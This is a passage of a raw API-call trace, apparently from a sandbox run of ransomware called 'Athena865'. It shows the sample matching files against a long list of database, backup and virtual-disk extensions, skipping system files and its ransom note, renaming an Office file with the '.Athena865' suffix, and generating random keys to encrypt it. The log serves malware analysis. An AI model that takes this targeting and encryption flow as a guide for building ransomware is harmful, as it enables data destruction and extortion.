(lpString="cat") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0140.268] lstrlenW (lpString="cdb") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0140.268] lstrlenW (lpString="ckp") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0140.268] lstrlenW (lpString="cma") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0140.268] lstrlenW (lpString="cpd") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0140.268] lstrlenW (lpString="dacpac") returned 6 [0140.268] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0140.268] lstrlenW (lpString="dad") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0140.268] lstrlenW (lpString="dadiagrams") returned 10 [0140.268] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="dadiagrams") returned 1 [0140.268] lstrlenW (lpString="daschema") returned 8 [0140.268] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0140.268] lstrlenW (lpString="db-journal") returned 10 [0140.268] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="db-journal") returned 1 [0140.268] lstrlenW (lpString="db-shm") returned 6 [0140.268] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0140.268] lstrlenW (lpString="db-wal") returned 6 [0140.268] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0140.268] lstrlenW (lpString="dbc") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0140.268] lstrlenW (lpString="dbs") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0140.269] lstrlenW (lpString="dbt") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0140.269] lstrlenW (lpString="dbv") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0140.269] lstrlenW (lpString="dbx") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0140.269] lstrlenW (lpString="dcb") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0140.269] lstrlenW (lpString="dct") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0140.269] lstrlenW (lpString="dcx") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0140.269] lstrlenW (lpString="ddl") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0140.269] lstrlenW (lpString="dlis") returned 4 [0140.269] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0140.269] lstrlenW (lpString="dp1") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0140.269] lstrlenW (lpString="dqy") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0140.269] lstrlenW (lpString="dsk") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0140.269] lstrlenW (lpString="dsn") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0140.269] lstrlenW (lpString="dtsx") returned 4 [0140.269] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0140.269] lstrlenW (lpString="dxl") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0140.269] lstrlenW (lpString="eco") returned 3 [0140.269] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0140.269] lstrlenW (lpString="ecx") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0140.270] lstrlenW (lpString="edb") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0140.270] lstrlenW (lpString="epim") returned 4 [0140.270] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0140.270] lstrlenW (lpString="fcd") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0140.270] lstrlenW (lpString="fdb") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0140.270] lstrlenW (lpString="fic") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0140.270] lstrlenW (lpString="flexolibrary") returned 12 [0140.270] lstrcmpiW (lpString1=".DEV_COL.HXC", lpString2="flexolibrary") returned -1 [0140.270] lstrlenW (lpString="fm5") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0140.270] lstrlenW (lpString="fmp") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0140.270] lstrlenW (lpString="fmp12") returned 5 [0140.270] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0140.270] lstrlenW (lpString="fmpsl") returned 5 [0140.270] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0140.270] lstrlenW (lpString="fol") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0140.270] lstrlenW (lpString="fp3") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0140.270] lstrlenW (lpString="fp4") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0140.270] lstrlenW (lpString="fp5") returned 3 [0140.270] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0140.270] lstrlenW (lpString="fp7") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0140.271] lstrlenW (lpString="fpt") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0140.271] lstrlenW (lpString="frm") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0140.271] lstrlenW (lpString="gdb") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0140.271] lstrlenW (lpString="gdb") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0140.271] lstrlenW (lpString="grdb") returned 4 [0140.271] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0140.271] lstrlenW (lpString="gwi") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0140.271] lstrlenW (lpString="hdb") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0140.271] lstrlenW (lpString="his") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0140.271] lstrlenW (lpString="ib") returned 2 [0140.271] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0140.271] lstrlenW (lpString="idb") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0140.271] lstrlenW (lpString="ihx") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0140.271] lstrlenW (lpString="itdb") returned 4 [0140.271] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0140.271] lstrlenW (lpString="itw") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0140.271] lstrlenW (lpString="jet") returned 3 [0140.271] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0140.271] lstrlenW (lpString="jtx") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0140.272] lstrlenW (lpString="kdb") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0140.272] lstrlenW (lpString="kexi") returned 4 [0140.272] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0140.272] lstrlenW (lpString="kexic") returned 5 [0140.272] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0140.272] lstrlenW (lpString="kexis") returned 5 [0140.272] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0140.272] lstrlenW (lpString="lgc") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0140.272] lstrlenW (lpString="lwx") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0140.272] lstrlenW (lpString="maf") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0140.272] lstrlenW (lpString="maq") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0140.272] lstrlenW (lpString="mar") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0140.272] lstrlenW (lpString="marshal") returned 7 [0140.272] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0140.272] lstrlenW (lpString="mas") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0140.272] lstrlenW (lpString="mav") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0140.272] lstrlenW (lpString="maw") returned 3 [0140.272] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0140.272] lstrlenW (lpString="mdbhtml") returned 7 [0140.273] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0140.273] lstrlenW (lpString="mdn") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0140.273] lstrlenW (lpString="mdt") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0140.273] lstrlenW (lpString="mfd") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0140.273] lstrlenW (lpString="mpd") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0140.273] lstrlenW (lpString="mrg") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0140.273] lstrlenW (lpString="mud") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0140.273] lstrlenW (lpString="mwb") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0140.273] lstrlenW (lpString="myd") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0140.273] lstrlenW (lpString="ndf") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0140.273] lstrlenW (lpString="nnt") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0140.273] lstrlenW (lpString="nrmlib") returned 6 [0140.273] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0140.273] lstrlenW (lpString="ns2") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0140.273] lstrlenW (lpString="ns3") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0140.273] lstrlenW (lpString="ns4") returned 3 [0140.273] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0140.273] lstrlenW (lpString="nsf") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0140.274] lstrlenW (lpString="nv") returned 2 [0140.274] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0140.274] lstrlenW (lpString="nv2") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0140.274] lstrlenW (lpString="nwdb") returned 4 [0140.274] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0140.274] lstrlenW (lpString="nyf") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0140.274] lstrlenW (lpString="odb") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0140.274] lstrlenW (lpString="odb") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0140.274] lstrlenW (lpString="oqy") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0140.274] lstrlenW (lpString="ora") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0140.274] lstrlenW (lpString="orx") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0140.274] lstrlenW (lpString="owc") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0140.274] lstrlenW (lpString="p96") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0140.274] lstrlenW (lpString="p97") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0140.274] lstrlenW (lpString="pan") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0140.274] lstrlenW (lpString="pdb") returned 3 [0140.274] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0140.274] lstrlenW (lpString="pdm") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0140.275] lstrlenW (lpString="pnz") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0140.275] lstrlenW (lpString="qry") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0140.275] lstrlenW (lpString="qvd") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0140.275] lstrlenW (lpString="rbf") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0140.275] lstrlenW (lpString="rctd") returned 4 [0140.275] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0140.275] lstrlenW (lpString="rod") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0140.275] lstrlenW (lpString="rodx") returned 4 [0140.275] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0140.275] lstrlenW (lpString="rpd") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0140.275] lstrlenW (lpString="rsd") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0140.275] lstrlenW (lpString="sas7bdat") returned 8 [0140.275] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0140.275] lstrlenW (lpString="sbf") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0140.275] lstrlenW (lpString="scx") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0140.275] lstrlenW (lpString="sdb") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0140.275] lstrlenW (lpString="sdc") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0140.275] lstrlenW (lpString="sdf") returned 3 [0140.275] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0140.276] lstrlenW (lpString="sis") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0140.276] lstrlenW (lpString="spq") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0140.276] lstrlenW (lpString="te") returned 2 [0140.276] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0140.276] lstrlenW (lpString="teacher") returned 7 [0140.276] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0140.276] lstrlenW (lpString="tmd") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0140.276] lstrlenW (lpString="tps") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0140.276] lstrlenW (lpString="trc") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0140.276] lstrlenW (lpString="trc") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0140.276] lstrlenW (lpString="trm") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0140.276] lstrlenW (lpString="udb") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0140.276] lstrlenW (lpString="udl") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0140.276] lstrlenW (lpString="usr") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0140.276] lstrlenW (lpString="v12") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0140.276] lstrlenW (lpString="vis") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0140.276] lstrlenW (lpString="vpd") returned 3 [0140.276] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0140.277] lstrlenW (lpString="vvv") returned 3 [0140.277] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0140.277] lstrlenW (lpString="wdb") returned 3 [0140.277] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0140.277] lstrlenW (lpString="wmdb") returned 4 [0140.277] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0140.277] lstrlenW (lpString="wrk") returned 3 [0140.277] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0140.277] lstrlenW (lpString="xdb") returned 3 [0140.277] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0140.277] lstrlenW (lpString="xld") returned 3 [0140.277] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0140.277] lstrlenW (lpString="xmlff") returned 5 [0140.277] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0140.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.Athena865") returned 75 [0140.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0140.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.281] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=641) returned 1 [0140.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.282] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.282] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.282] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154 [0140.284] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0140.285] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.285] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.285] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.286] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.286] CloseHandle (hObject=0x154) returned 1 [0140.286] CloseHandle (hObject=0x17c) returned 1 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.286] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="EXCELD~1.HXT")) returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".") returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="..") returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="windows") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="bootmgr") returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="temp") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="pagefile.sys") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="boot") returned 1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="ids.txt") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="ntuser.dat") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="perflogs") returned -1 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2="MSBuild") returned -1 [0140.287] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0140.287] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.DEV_COL.HXT" | out: lpString1="EXCEL.DEV_COL.HXT") returned="EXCEL.DEV_COL.HXT" [0140.287] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0140.287] lstrlenW (lpString="Athena865") returned 9 [0140.287] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0140.287] lstrlenW (lpString=".dll") returned 4 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".dll") returned 1 [0140.287] lstrlenW (lpString=".lnk") returned 4 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".lnk") returned 1 [0140.287] lstrlenW (lpString=".ini") returned 4 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".ini") returned 1 [0140.287] lstrlenW (lpString=".sys") returned 4 [0140.287] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXT", lpString2=".sys") returned 1 [0140.287] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0140.287] lstrlenW (lpString="bak") returned 3 [0140.287] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0140.288] lstrlenW (lpString="ba_") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0140.288] lstrlenW (lpString="dbb") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0140.288] lstrlenW (lpString="vmdk") returned 4 [0140.288] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0140.288] lstrlenW (lpString="rar") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0140.288] lstrlenW (lpString="zip") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0140.288] lstrlenW (lpString="tgz") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0140.288] lstrlenW (lpString="vbox") returned 4 [0140.288] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0140.288] lstrlenW (lpString="vdi") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0140.288] lstrlenW (lpString="vhd") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0140.288] lstrlenW (lpString="vhdx") returned 4 [0140.288] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0140.288] lstrlenW (lpString="avhd") returned 4 [0140.288] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0140.288] lstrlenW (lpString="db") returned 2 [0140.288] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0140.288] lstrlenW (lpString="db2") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0140.288] lstrlenW (lpString="db3") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0140.288] lstrlenW (lpString="dbf") returned 3 [0140.288] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0140.288] lstrlenW (lpString="mdf") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0140.289] lstrlenW (lpString="mdb") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0140.289] lstrlenW (lpString="sql") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0140.289] lstrlenW (lpString="sqlite") returned 6 [0140.289] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0140.289] lstrlenW (lpString="sqlite3") returned 7 [0140.289] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0140.289] lstrlenW (lpString="sqlitedb") returned 8 [0140.289] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0140.289] lstrlenW (lpString="xml") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0140.289] lstrlenW (lpString="$er") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0140.289] lstrlenW (lpString="4dd") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0140.289] lstrlenW (lpString="4dl") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0140.289] lstrlenW (lpString="^^^") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0140.289] lstrlenW (lpString="abs") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0140.289] lstrlenW (lpString="abx") returned 3 [0140.289] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0140.289] lstrlenW (lpString="accdb") returned 5 [0140.289] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0140.289] lstrlenW (lpString="accdc") returned 5 [0140.289] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0140.289] lstrlenW (lpString="accde") returned 5 [0140.290] lstrcmpiW 